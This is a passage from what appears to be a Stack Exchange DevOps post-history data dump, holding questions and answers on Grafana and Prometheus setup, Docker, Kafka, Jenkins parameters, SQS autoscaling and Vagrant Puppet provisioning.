\&#xD;&#xA;		-p 8110:22 \&#xD;&#xA;		-p 9091:9091 \&#xD;&#xA;		prometheus:latest&#xD;&#xA;&#xD;&#xA;When I couldn't figure out why Grafana reported no data, I restarted the container, adding -p 9090:9090 so that I could access Prometheus's graphing interface. And suddenly Grafana shows data.&#xD;&#xA;&#xD;&#xA;Which has me deeply puzzled. I don't know how Grafana works under the hood, and so far I haven't found an explanation. So I'm wondering why port-mapping fixed the problem.&#xD;&#xA;&#xD;&#xA;Do I need to configure Grafana to access Prometheus via an externally-resolved URL (that is, one that resolves in my browser, not from Grafana itself)?&#xD;&#xA;&#xD;&#xA;I hadn't planned on exposing Prometheus itself to the world, but maybe I have to.&#xD;&#xA;&#xD;&#xA;Additional Info: Within AWS, my Grafana charts all have a red warning indicator for each chart, and the rollover says &quot;Not allowed to request resource&quot;. I haven't found any docs yet on what can cause this. Still digging." ContentLicense="CC BY-SA 4.0" />
  <row Id="36132" PostHistoryTypeId="2" PostId="11792" RevisionGUID="ff9ceb56-9b94-4e35-b781-50d34d534fd8" CreationDate="2020-06-09T17:09:48.880" UserId="22643" Text="**Split large virtual services and destination rules into multiple resources:** The downside of your kind of configuration is that other configuration (e.g., route rules) for any of the underlying microservices, will need to also be included in this single configuration file.&#xD;&#xA;Reference: https://istio.io/docs/ops/best-practices/traffic-management/[enter link description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://istio.io/docs/ops/best-practices/traffic-management/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36134" PostHistoryTypeId="2" PostId="11793" RevisionGUID="dc800782-1f8e-42fb-bb8c-22816724df15" CreationDate="2020-06-09T21:09:03.043" UserId="10769" Text="&gt; Is there a way to know if an app has crashed inside docker&#xD;&#xA;&#xD;&#xA;If your app is writing logs and is the main process in that container, then yes, just watch them&#xD;&#xA;&gt; am implementing CI/CD and want to stop container when it crashes on auto-deploy&#xD;&#xA;&#xD;&#xA;What's your tools used for CI/CD? For example, when you are releasing an app with `kubectl apply` you can wait till automated deployment succeed: `kubectl rollout status`" ContentLicense="CC BY-SA 4.0" />
  <row Id="36135" PostHistoryTypeId="5" PostId="11781" RevisionGUID="024a718d-29a4-47d4-aae5-5f97c04b1721" CreationDate="2020-06-09T21:27:28.447" UserId="22607" Comment="added 1114 characters in body" Text="In short: I want a ready-made webapp framework with a web server and a database in a container, such that I can edit files on my local drive and view the results through a browser pointed at the container - in order to get started with said framework. I want to be writing and viewing webpages within 10 minutes of starting. Seems achievable in theory.&#xD;&#xA;&#xD;&#xA;__________________________&#xD;&#xA;Edit:&#xD;&#xA;Since it seems nobody gets it. The reasons for wanting this are:&#xD;&#xA;&#xD;&#xA; 1. No local installation of tools to pollute my development environment.&#xD;&#xA;&#xD;&#xA; 2. No rebuilding of containers as I change my code, learn, and test out features.&#xD;&#xA;&#xD;&#xA; 3. Not using any exotic features or special configuration, so official containers from the distributions should be sufficient.&#xD;&#xA;&#xD;&#xA; 4. Clean roadmap to scaling up to a real project. Acts as a template going forward.&#xD;&#xA;&#xD;&#xA; 5. Not spending time on tasks that are not relevant to the final goal (configuring a platform that may never be used).&#xD;&#xA;&#xD;&#xA;It seems clear to me that a significant portion of development should use containerized runtimes for building/testing, without installing things on the real host. That would avoid a lot of hassles and conflicts, and allows easy revisiting of old development environments.&#xD;&#xA;__________________________&#xD;&#xA;&#xD;&#xA;If that's clear, feel free to skip the rest...&#xD;&#xA;&#xD;&#xA;Every few years I check in on the web development world, which I am not involved in. I always bail out because the tools take too long to set up and rarely work without lots of tinkering. I would think by now there should be some simple, turn-key docker-compose solutions that can give a reasonable working setup (ie. Node.js+MySQL, LAMP, etc).&#xD;&#xA;&#xD;&#xA;Ideally it would look to a configurable directory on the local disk for the actual code to run, so I can just start working on a project. I am not locked in to any platform, but it should be up and running (serving pages) inside of 10 minutes. Shouldn't have to configure more than a couple ports, passwords, and directories.&#xD;&#xA;&#xD;&#xA;I have found tutorials that get halfway to setting it up, but not one actually works as advertised. After having spent the better part of the past two days trying solutions, I am about ready to give up yet again. My goal is not to get into the minutiae of setting up a deployment. I just want to mess around with the frameworks and languages and see what they are capable of and what I might like to use.&#xD;&#xA;&#xD;&#xA;Is there something out there I am just not seeing? Is there something that prevents this? Wouldn't this be the preferred method of starting a project for just about everyone, experienced or not?&#xD;&#xA;&#xD;&#xA;It seems like a few of the common stacks would be really handy.&#xD;&#xA;&#xD;&#xA;If I see something that requires making custom Docker files, I am out. I've been down that road (quite extensively in the supercomputing realm with Singularity), and it seems entirely unnecessary here. The official containers for these tools seem okay, they just need to be integrated and brought up together.&#xD;&#xA;&#xD;&#xA;[This](https://hackernoon.com/a-better-way-to-develop-node-js-with-docker-cd29d3a0093) and [this](https://hackernoon.com/a-better-way-to-develop-node-js-with-docker-cd29d3a0093) (ignore the terrible politics splashed all over the site) seemed to get close in terms of the goal, but it did not work in practice and needs debugging. Even then, trying it required reading through a lot of unnecessary stuff and copying and pasting pieces of multiple versions of files.&#xD;&#xA;&#xD;&#xA;I would think the maintainers of projects would have demo versions ready to go. It would probably attract new users.&#xD;&#xA;&#xD;&#xA;In many cases, the final deployment very well may look like the development one, which would be a nice bonus.&#xD;&#xA;&#xD;&#xA;Edit 2: Because I haven't gotten an answer here, I asked a similar question [elsewhere](https://stackoverflow.com/questions/62271825/turn-key-docker-compose-solution-to-start-developing-with-node-js)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36137" PostHistoryTypeId="2" PostId="11794" RevisionGUID="72af3dd9-d1db-4db1-a574-9e49e6bd2d4d" CreationDate="2020-06-10T07:19:01.690" UserId="17329" Text="We are using Confluent Kafka cluster on production K8s.&#xD;&#xA;It looks like our consumers have stuck as offset is static and lag keeps going up.&#xD;&#xA;When I restart zookeper/brokers (persistent volume) the offset moves by a small amount and then it is stuck again. I have checked my consumers and only 1 of them is assigned something and then after clear it never gets assigned anything. What happens on consumer side is sometimes we had an error, we tried ignore the message but Kafka is still affected. What can be done outside of the default config." ContentLicense="CC BY-SA 4.0" />
  <row Id="36138" PostHistoryTypeId="1" PostId="11794" RevisionGUID="72af3dd9-d1db-4db1-a574-9e49e6bd2d4d" CreationDate="2020-06-10T07:19:01.690" UserId="17329" Text="Confluent Kafka - offset stuck on consumer errors in K8s setup, what additional config is needed to handle?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36139" PostHistoryTypeId="3" PostId="11794" RevisionGUID="72af3dd9-d1db-4db1-a574-9e49e6bd2d4d" CreationDate="2020-06-10T07:19:01.690" UserId="17329" Text="&lt;kafka&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36143" PostHistoryTypeId="2" PostId="11796" RevisionGUID="4c044d18-fca9-47cd-ab5f-4b3776fafe2e" CreationDate="2020-06-10T13:52:03.403" UserId="22657" Text="I have project in DevOps TFVC not Git. I use branches, they live and die in the order of months. I want to create a build pipeline that is triggered when a commit is done on any of the branches and the agent job must map and get the relevant branch that triggered the pipeline. I have no idea how to do this. The initial setup of the pipeline seems to look like I can only map/cloak and get a static set of folders." ContentLicense="CC BY-SA 4.0" />
  <row Id="36144" PostHistoryTypeId="1" PostId="11796" RevisionGUID="4c044d18-fca9-47cd-ab5f-4b3776fafe2e" CreationDate="2020-06-10T13:52:03.403" UserId="22657" Text="How do I trigger a build pipeline on a TFVC branch commit to map and get that branch?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36145" PostHistoryTypeId="3" PostId="11796" RevisionGUID="4c044d18-fca9-47cd-ab5f-4b3776fafe2e" CreationDate="2020-06-10T13:52:03.403" UserId="22657" Text="&lt;tfs&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36146" PostHistoryTypeId="2" PostId="11797" RevisionGUID="c71d6ac6-96a3-4f3a-a723-30edf6b2d979" CreationDate="2020-06-10T14:01:35.487" UserId="22376" Text="I have the following declarative pipeline. It defines checkbox multi-choice parameter:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any &#xD;&#xA;        options {&#xD;&#xA;            ansiColor('xterm')                    &#xD;&#xA;        }&#xD;&#xA;        parameters { &#xD;&#xA;            extendedChoice description: '', multiSelectDelimiter: ',', name: 'NAMES', quoteValue: false, saveJSONParameterToFile: false, type: 'PT_CHECKBOX', value:'a,b,c', visibleItemCount: 3&#xD;&#xA;        } &#xD;&#xA;        stages {&#xD;&#xA;          stage('Run on all') {&#xD;&#xA;         &#xD;&#xA;            steps { &#xD;&#xA;                script {&#xD;&#xA;                      println params.NAMES &#xD;&#xA;                }&#xD;&#xA;            }   &#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;     &#xD;&#xA;    }&#xD;&#xA;          &#xD;&#xA;&#xD;&#xA;My goal is to call the pipeline via Jenkins CLI where passed values to `NAMES` parameter signifies selected checkboxes.&#xD;&#xA;&#xD;&#xA;Running  `java -jar jenkins-cli.jar  -s http://localhost:8080 -auth u:p -p NAMES='a'` causes empty string to be printed by `println params.NAMES`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Expected `a` to be printed after calling the pipeline via Jenkins cli client.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The only way that worked is adding commas after `a`: `java -jar jenkins-cli.jar  -s http://localhost:8080 -auth u:p -p NAMES='a,,'`&#xD;&#xA;&#xD;&#xA;Is it the correct syntax to pass checkbox selections of `extendedChoice` type parameter?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36147" PostHistoryTypeId="1" PostId="11797" RevisionGUID="c71d6ac6-96a3-4f3a-a723-30edf6b2d979" CreationDate="2020-06-10T14:01:35.487" UserId="22376" Text="Passing parameters of extendedChoice type to Jenkins Pipeline via jenkins-cli.jar" ContentLicense="CC BY-SA 4.0" />
  <row Id="36148" PostHistoryTypeId="3" PostId="11797" RevisionGUID="c71d6ac6-96a3-4f3a-a723-30edf6b2d979" CreationDate="2020-06-10T14:01:35.487" UserId="22376" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36149" PostHistoryTypeId="2" PostId="11798" RevisionGUID="557a46a3-94cd-46c9-b77f-7686d037cbb7" CreationDate="2020-06-10T14:55:11.703" UserId="22659" Text="I'm creating a platform architecture for my project and I'd like to use an API Gateway of some sort for handling most requests to a Kubernetes cluster (with a few microservices).&#xD;&#xA;&#xD;&#xA;There is, however, one task that relies a lot on performance and sheer number of connections (think IoT metrics kind of traffic, a lot of connections sending data often, most likely gRPC). I'd always hit a single service in the cluster. It's also different because it will come always from a single physical device (IoT hub, if we're using that analogy) unlike the rest (being web browser, mobile app, 3rd party access, etc).&#xD;&#xA;&#xD;&#xA;Since I'd like to offload the API Gateway from that kind of traffic to provide stability and performance for remaining traffic, would it be an antipattern to have a direct connection for this case? Or maybe there's another solution for it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36150" PostHistoryTypeId="1" PostId="11798" RevisionGUID="557a46a3-94cd-46c9-b77f-7686d037cbb7" CreationDate="2020-06-10T14:55:11.703" UserId="22659" Text="Is it an antipattern to avoid API Gateway for certain tasks?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36151" PostHistoryTypeId="3" PostId="11798" RevisionGUID="557a46a3-94cd-46c9-b77f-7686d037cbb7" CreationDate="2020-06-10T14:55:11.703" UserId="22659" Text="&lt;api&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36156" PostHistoryTypeId="2" PostId="11800" RevisionGUID="13e6b748-6073-43a7-8a33-314c64df161a" CreationDate="2020-06-10T18:19:17.390" UserId="22640" Text="Okay, it took time and help from someone else. I was going down the path of installing nginx, but that won't end up being necessary.&#xD;&#xA;&#xD;&#xA;    apiVersion: 1&#xD;&#xA;&#xD;&#xA;    datasources:&#xD;&#xA;      - name: Prometheus&#xD;&#xA;        type: prometheus&#xD;&#xA;        # &lt;string, required&gt; access mode. proxy or direct (Server or Browser in the UI). Required&#xD;&#xA;        access: proxy&#xD;&#xA;        orgId: 1&#xD;&#xA;        url: http://localhost:9090&#xD;&#xA;        isDefault: true&#xD;&#xA;&#xD;&#xA;This is the end change. originally I had access: direct. As I understand it, that means access to the metrics is via the browser. Switching it to proxy means that Grafana will look up the data. Which means the URL doesn't need to be externally-useful.&#xD;&#xA;&#xD;&#xA;To a newbie, none of this was obvious, so maybe my two days of pain will help someone out in the future." ContentLicense="CC BY-SA 4.0" />
  <row Id="36160" PostHistoryTypeId="2" PostId="11802" RevisionGUID="c71ac0b9-24ba-4815-98f1-c252d3898abe" CreationDate="2020-06-10T19:03:40.357" UserId="132" Text="**Disclaimer**: this is *certainly not the best solution* for backend workers, I'm just trying to be creative within the given constraints.&#xD;&#xA;&#xD;&#xA;First, you'll need to be familiar with SQS's visibility timeout ([documentation](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html)) for this to work.&#xD;&#xA;&#xD;&#xA;Let's assume the following, then I'll walk through how it might work:&#xD;&#xA;&#xD;&#xA; - We only have 1 request (henceforth &quot;message&quot;) coming in at a time (10 per day, hopefully that's feasible)&#xD;&#xA; - We can take up to 12 minutes to process a message in the worst-case scenario&#xD;&#xA;&#xD;&#xA;Next, some configuration changes: &#xD;&#xA;&#xD;&#xA; - We configure the ASG to scale desired count to 0 when `ApproximateNumberOfMessagesVisible` = 0 for 5 minutes.&#xD;&#xA; - We configure the ASG to scale desired count to 1 when `ApproximateNumberOfMessagesVisible` &gt;= 1.&#xD;&#xA; - We set all messages `VisibilityTimeout` to 10 minutes.&#xD;&#xA;&#xD;&#xA;A failure scenario might work out like this:&#xD;&#xA;&#xD;&#xA; 1. At 0 minutes, 1 message is being processed by the worker. There are now 0 other messages in the queue, `ApproximateNumberOfMessagesVisible` = 0&#xD;&#xA; 2. At 2 minutes we are now assuming that the worker is now stuck processing its in-flight message. No action is taken yet.&#xD;&#xA; 3. At 5 minutes our ASG scale-down event triggers, and desired capacity is set to 0 (because there is no pending work)&#xD;&#xA; 4. At 10 minutes, SQS automatically re-enqueues the message due to the visibility timeout. `ApproximateNumberOfMessagesVisible` = 1&#xD;&#xA; 5. Shortly after, our ASG scale-up event triggers, and desired capacity is set to 1 (because there is pending work)&#xD;&#xA;&#xD;&#xA;The 3-minute and 5-minute gaps are somewhat arbitrary, they merely highlight the need for a brief waiting period for such a fickle system.&#xD;&#xA;&#xD;&#xA;Reference:&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-available-cloudwatch-metrics.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**HOWEVER...**&#xD;&#xA;&#xD;&#xA;The best worker is one that exits its process instead of getting stuck. That would allow for process monitoring on EC2, or for containerization. Were your worker an ECS service, it could scale up when there is work, recover from failures, and scale down afterwards. Refactoring your worker might be less effort than ongoing manual intervention for my hacky solution, and save you money!" ContentLicense="CC BY-SA 4.0" />
  <row Id="36164" PostHistoryTypeId="5" PostId="11780" RevisionGUID="4cbf1fb8-6642-44db-b4d0-6443516fb650" CreationDate="2020-06-10T21:12:46.670" UserId="22604" Comment="added 83 characters in body; edited tags" Text="Is there a way to know if an app has crashed inside docker using maybe bash script or API call from host container, am implementing CI/CD using **Jenkins** and will be deploying the built app via `ssh` to the main server and want to stop container when it crashes on auto-deploy." ContentLicense="CC BY-SA 4.0" />
  <row Id="36165" PostHistoryTypeId="6" PostId="11780" RevisionGUID="4cbf1fb8-6642-44db-b4d0-6443516fb650" CreationDate="2020-06-10T21:12:46.670" UserId="22604" Comment="added 83 characters in body; edited tags" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36166" PostHistoryTypeId="2" PostId="11804" RevisionGUID="6232d4ad-3309-4c98-b284-45334d9433ff" CreationDate="2020-06-10T21:44:59.480" UserId="18916" Text="I'm starting to dabble in vagrant provisioners besides the shell provisioner. In an attempt to get started with other provisioners, I took a shot at the [Puppet Apply provisioner][1], which can be used without a master. I created a very basic Vagrantfile and a very basic default.pp file in the default location, but it seems to be getting tripped up on a module from Puppet Forge.&#xD;&#xA;&#xD;&#xA;Specifically working with the [nodejs module][2], I got the following error upon a `vagrant up --provision`:&#xD;&#xA;&#xD;&#xA;``` lang-none&#xD;&#xA;Bringing machine 'default' up with 'virtualbox' provider...&#xD;&#xA;==&gt; default: Checking if box 'ubuntu/trusty64' version '20190514.0.0' is up to date...&#xD;&#xA;==&gt; default: Running provisioner: puppet...&#xD;&#xA;==&gt; default: Running Puppet with default.pp...&#xD;&#xA;==&gt; default: Warning: Could not retrieve fact fqdn&#xD;&#xA;==&gt; default: Warning: Host is missing hostname and/or domain: vagrant-ubuntu-trusty-64&#xD;&#xA;==&gt; default: Error: Puppet::Parser::AST::Resource failed with error ArgumentError: Could not find declared class ::nodejs at /tmp/vagrant-puppet/manifests-###/default.pp:8 on node vagrant-ubuntu-trusty-64&#xD;&#xA;==&gt; default: Wrapped exception:&#xD;&#xA;==&gt; default: Could not find declared class ::nodejs&#xD;&#xA;==&gt; default: Error: Puppet::Parser::AST::Resource failed with error ArgumentError: Could not find declared class ::nodejs at /tmp/vagrant-puppet/manifests-###/default.pp:8 on node vagrant-ubuntu-trusty-64&#xD;&#xA;The SSH command responded with a non-zero exit status. Vagrant&#xD;&#xA;assumes that this means the command failed. The output for this command&#xD;&#xA;should be in the log above. Please read the output to determine what&#xD;&#xA;went wrong.&#xD;&#xA;``` &#xD;&#xA;&#xD;&#xA;At the time, my default.pp file looked like:&#xD;&#xA;```lang-rb&#xD;&#xA;node default{&#xD;&#xA;  class { '::nodejs':&#xD;&#xA;    manage_package_repo       =&gt; false,&#xD;&#xA;    nodejs_dev_package_ensure =&gt; 'present',&#xD;&#xA;    npm_package_ensure        =&gt; 'present',&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;With that not working, I replaced the class with a simple `include 'nodejs'`, inspired by [this example][3] which led to the following error:&#xD;&#xA;&#xD;&#xA;``` lang-none&#xD;&#xA;Bringing machine 'default' up with 'virtualbox' provider...&#xD;&#xA;==&gt; default: Checking if box 'ubuntu/trusty64' version '20190514.0.0' is up to date...&#xD;&#xA;==&gt; default: Running provisioner: puppet...&#xD;&#xA;==&gt; default: Running Puppet with default.pp...&#xD;&#xA;==&gt; default: Warning: Could not retrieve fact fqdn&#xD;&#xA;==&gt; default: Warning: Host is missing hostname and/or domain: vagrant-ubuntu-trusty-64&#xD;&#xA;==&gt; default: Error: Could not find class nodejs for vagrant-ubuntu-trusty-64 on node vagrant-ubuntu-trusty-64&#xD;&#xA;==&gt; default: Error: Could not find class nodejs for vagrant-ubuntu-trusty-64 on node vagrant-ubuntu-trusty-64&#xD;&#xA;The SSH command responded with a non-zero exit status. Vagrant&#xD;&#xA;assumes that this means the command failed. The output for this command&#xD;&#xA;should be in the log above. Please read the output to determine what&#xD;&#xA;went wrong.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thinking back on it, I think the reason is I never got the chance to run `puppet module install` for it, because Vagrant is handling the Puppet calls. &#xD;&#xA;&#xD;&#xA;**So is there some obvious flaw in my approach, am I missing something, or are remote modules not supported in Vagrant's Puppet provisioner?** Since I'm newer to both Puppet and Vagrant, I wouldn't be surprised if the issue was on my end. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vagrantup.com/docs/provisioning/puppet_apply&#xD;&#xA;  [2]: https://forge.puppet.com/puppet/nodejs&#xD;&#xA;  [3]: https://github.com/voxpupuli/puppet-nodejs/blob/master/examples/init.pp" ContentLicense="CC BY-SA 4.0" />
  <row Id="36167" PostHistoryTypeId="1" PostId="11804" RevisionGUID="6232d4ad-3309-4c98-b284-45334d9433ff" CreationDate="2020-06-10T21:44:59.480" UserId="18916" Text="Can the Puppet Vagrant Provisioner use Remote Puppet Modules?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36168" PostHistoryTypeId="3" PostId="11804" RevisionGUID="6232d4ad-3309-4c98-b284-45334d9433ff" CreationDate="2020-06-10T21:44:59.480" UserId="18916" Text="&lt;vagrant&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36169" PostHistoryTypeId="5" PostId="11804" RevisionGUID="b84d487b-1a62-45b3-b228-db813e1df2c8" CreationDate="2020-06-10T21:58:37.453" UserId="18916" Comment="Added Vagrantfile" Text="I'm starting to dabble in vagrant provisioners besides the shell provisioner. In an attempt to get started with other provisioners, I took a shot at the [Puppet Apply provisioner][1], which can be used without a master. I created a very basic Vagrantfile and a very basic default.pp file in the default location, but it seems to be getting tripped up on a module from Puppet Forge.&#xD;&#xA;&#xD;&#xA;Specifically working with the [nodejs module][2], I got the following error upon a `vagrant up --provision`:&#xD;&#xA;&#xD;&#xA;``` lang-none&#xD;&#xA;Bringing machine 'default' up with 'virtualbox' provider...&#xD;&#xA;==&gt; default: Checking if box 'ubuntu/trusty64' version '20190514.0.0' is up to date...&#xD;&#xA;==&gt; default: Running provisioner: puppet...&#xD;&#xA;==&gt; default: Running Puppet with default.pp...&#xD;&#xA;==&gt; default: Warning: Could not retrieve fact fqdn&#xD;&#xA;==&gt; default: Warning: Host is missing hostname and/or domain: vagrant-ubuntu-trusty-64&#xD;&#xA;==&gt; default: Error: Puppet::Parser::AST::Resource failed with error ArgumentError: Could not find declared class ::nodejs at /tmp/vagrant-puppet/manifests-###/default.pp:8 on node vagrant-ubuntu-trusty-64&#xD;&#xA;==&gt; default: Wrapped exception:&#xD;&#xA;==&gt; default: Could not find declared class ::nodejs&#xD;&#xA;==&gt; default: Error: Puppet::Parser::AST::Resource failed with error ArgumentError: Could not find declared class ::nodejs at /tmp/vagrant-puppet/manifests-###/default.pp:8 on node vagrant-ubuntu-trusty-64&#xD;&#xA;The SSH command responded with a non-zero exit status. Vagrant&#xD;&#xA;assumes that this means the command failed. The output for this command&#xD;&#xA;should be in the log above. Please read the output to determine what&#xD;&#xA;went wrong.&#xD;&#xA;``` &#xD;&#xA;&#xD;&#xA;At the time, my default.pp file looked like:&#xD;&#xA;```lang-rb&#xD;&#xA;node default{&#xD;&#xA;  class { '::nodejs':&#xD;&#xA;    manage_package_repo       =&gt; false,&#xD;&#xA;    nodejs_dev_package_ensure =&gt; 'present',&#xD;&#xA;    npm_package_ensure        =&gt; 'present',&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;My Vagrantfile looked like:&#xD;&#xA;``` lang-rb&#xD;&#xA;Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;  config.vm.box = &quot;ubuntu/trusty64&quot;&#xD;&#xA;  config.vm.provision &quot;puppet&quot;&#xD;&#xA;end&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With that not working, I replaced the class with a simple `include 'nodejs'`, inspired by [this example][3] which led to the following error:&#xD;&#xA;&#xD;&#xA;``` lang-none&#xD;&#xA;Bringing machine 'default' up with 'virtualbox' provider...&#xD;&#xA;==&gt; default: Checking if box 'ubuntu/trusty64' version '20190514.0.0' is up to date...&#xD;&#xA;==&gt; default: Running provisioner: puppet...&#xD;&#xA;==&gt; default: Running Puppet with default.pp...&#xD;&#xA;==&gt; default: Warning: Could not retrieve fact fqdn&#xD;&#xA;==&gt; default: Warning: Host is missing hostname and/or domain: vagrant-ubuntu-trusty-64&#xD;&#xA;==&gt; default: Error: Could not find class nodejs for vagrant-ubuntu-trusty-64 on node vagrant-ubuntu-trusty-64&#xD;&#xA;==&gt; default: Error: Could not find class nodejs for vagrant-ubuntu-trusty-64 on node vagrant-ubuntu-trusty-64&#xD;&#xA;The SSH command responded with a non-zero exit status. Vagrant&#xD;&#xA;assumes that this means the command failed. The output for this command&#xD;&#xA;should be in the log above. Please read the output to determine what&#xD;&#xA;went wrong.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thinking back on it, I think the reason is I never got the chance to run `puppet module install` for it, because Vagrant is handling the Puppet calls. &#xD;&#xA;&#xD;&#xA;**So is there some obvious flaw in my approach, am I missing something, or are remote modules not supported in Vagrant's Puppet provisioner?** Since I'm newer to both Puppet and Vagrant, I wouldn't be surprised if the issue was on my end. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vagrantup.com/docs/provisioning/puppet_apply&#xD;&#xA;  [2]: https://forge.puppet.com/puppet/nodejs&#xD;&#xA;  [3]: https://github.com/voxpupuli/puppet-nodejs/blob/master/examples/init.pp" ContentLicense="CC BY-SA 4.0" />
  <row Id="36171" PostHistoryTypeId="2" PostId="11805" RevisionGUID="42ea7423-1c16-4d94-8ced-2a9c7de3144a" CreationDate="2020-06-11T04:28:11.537" UserId="21656" Text="In Jenkins parameter, I'm writing Groovy script and in that script I need to pass Jenkins logged in username NOT user. User and username, could be different&#xD;&#xA;&#xD;&#xA;Ex - User, that is displayed left to 'log out', could be - Bob Gill and username, used to login - could be - bob&#xD;&#xA;&#xD;&#xA;User can be retrieved using `User.current()`. Please tell me how to get username.&#xD;&#xA;&#xD;&#xA;**NOTE** I don't need username in pipeline code. I need it in Groovy script of parameter." ContentLicense="CC BY-SA 4.0" />
  <row Id="36172" PostHistoryTypeId="1" PostId="11805" RevisionGUID="42ea7423-1c16-4d94-8ced-2a9c7de3144a" CreationDate="2020-06-11T04:28:11.537" UserId="21656" Text="How to get logged in username of Jenkins in parameter's Groovy script?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36173" PostHistoryTypeId="3" PostId="11805" RevisionGUID="42ea7423-1c16-4d94-8ced-2a9c7de3144a" CreationDate="2020-06-11T04:28:11.537" UserId="21656" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36186" PostHistoryTypeId="19" PostId="5934" RevisionGUID="a1da9bb4-568f-4e33-bda8-5f3f533690dc" CreationDate="2020-06-11T14:17:57.633" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]}" />
  <row Id="36188" PostHistoryTypeId="2" PostId="11810" RevisionGUID="41c75ff8-15b9-4f7e-b545-915c197092f0" CreationDate="2020-06-11T14:49:23.380" UserId="22692" Text="For this question, I am a bit lost.  One problem is google gets confused and can't figure out what I mean by &quot;docker files on VM drive&quot; -- It constantly points me to &quot;pros/cons of docker vs VM&quot;.  Normally I can trick google, but I'm stumped this time.&#xD;&#xA;&#xD;&#xA;I have a system I did not design which uses terraform to deploy lots of server services as dockers.  And I run this Cent OS linux server in a Windows VM so I can do my development and testing.  When I installed this box, I chose to NOT use LVM allocation, so I would not have to adjust docker space allocation in LVM.  I just have one big partition.&#xD;&#xA;&#xD;&#xA;So I have a dynamically sized vdi file.  And it keeps growing.  Like I start with 60GB and it's now 390GB.  The only thing that should be generated would be log files sent to syslog, which have a max size, so I expect the docker system to not grow.  Not even write to volumes.&#xD;&#xA;&#xD;&#xA;Docker seems to be to blame.  du let me hunt this down:&#xD;&#xA;&#xD;&#xA;    (inside /var/lib/docker)&#xD;&#xA;    [root@localhost docker]# du -h | grep -P 'G\t'&#xD;&#xA;    552G	./overlay2/5eabab754410e8ef8829c0875d0987f9cfd309f41b7e4452fa6cfeefd1120cdf&#xD;&#xA;&#xD;&#xA;But I read somewhere this is &quot;inflated&quot; because of mounting behavior docker uses.&#xD;&#xA;&#xD;&#xA;    [root@localhost docker]# du -shx&#xD;&#xA;    18G	.&#xD;&#xA;&#xD;&#xA;I don't really understand what is happening.  It seems far fetched to say that my vdi drive space is over-allocated because docker is doing some funky mounting behavior.  &#xD;&#xA;&#xD;&#xA;Perhaps there may be unrelated problem causing the vdi filespace to not release temporary file space for some reason.  That is unexpected, and I would think it is a bug if it were real.&#xD;&#xA;&#xD;&#xA;Problem 0 is I don't rightly know what is going on, on what to check next to diagnose.&#xD;&#xA;Problem 1 is I want to prevent this.  I don't need 300GB space used on unused vdi file space.&#xD;&#xA;&#xD;&#xA;Does anyone have experience with this problem?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36189" PostHistoryTypeId="1" PostId="11810" RevisionGUID="41c75ff8-15b9-4f7e-b545-915c197092f0" CreationDate="2020-06-11T14:49:23.380" UserId="22692" Text="&quot;fake&quot; drive inflation for a VM for development of dockers" ContentLicense="CC BY-SA 4.0" />
  <row Id="36190" PostHistoryTypeId="3" PostId="11810" RevisionGUID="41c75ff8-15b9-4f7e-b545-915c197092f0" CreationDate="2020-06-11T14:49:23.380" UserId="22692" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36192" PostHistoryTypeId="2" PostId="11812" RevisionGUID="40c8c4cf-442c-4bdd-95ab-7df860785f61" CreationDate="2020-06-11T16:45:35.650" UserId="19112" Text="I built my docker image and run it:&#xD;&#xA;&#xD;&#xA;    docker run --rm -P -d test:latest&#xD;&#xA;Then I entered the command and opened connection:&#xD;&#xA;&#xD;&#xA;    ftp&#xD;&#xA;    open XXX&#xD;&#xA;I successfully connected and entered user data. After that I try to execute:&#xD;&#xA;&#xD;&#xA;    ls&#xD;&#xA;And received these messages:&#xD;&#xA;&#xD;&#xA;    200 Command okay.&#xD;&#xA;    425 Can't open data connection.&#xD;&#xA;Could you help me, please?&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;&#xD;&#xA;I run a Linux image from Windows cmd.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
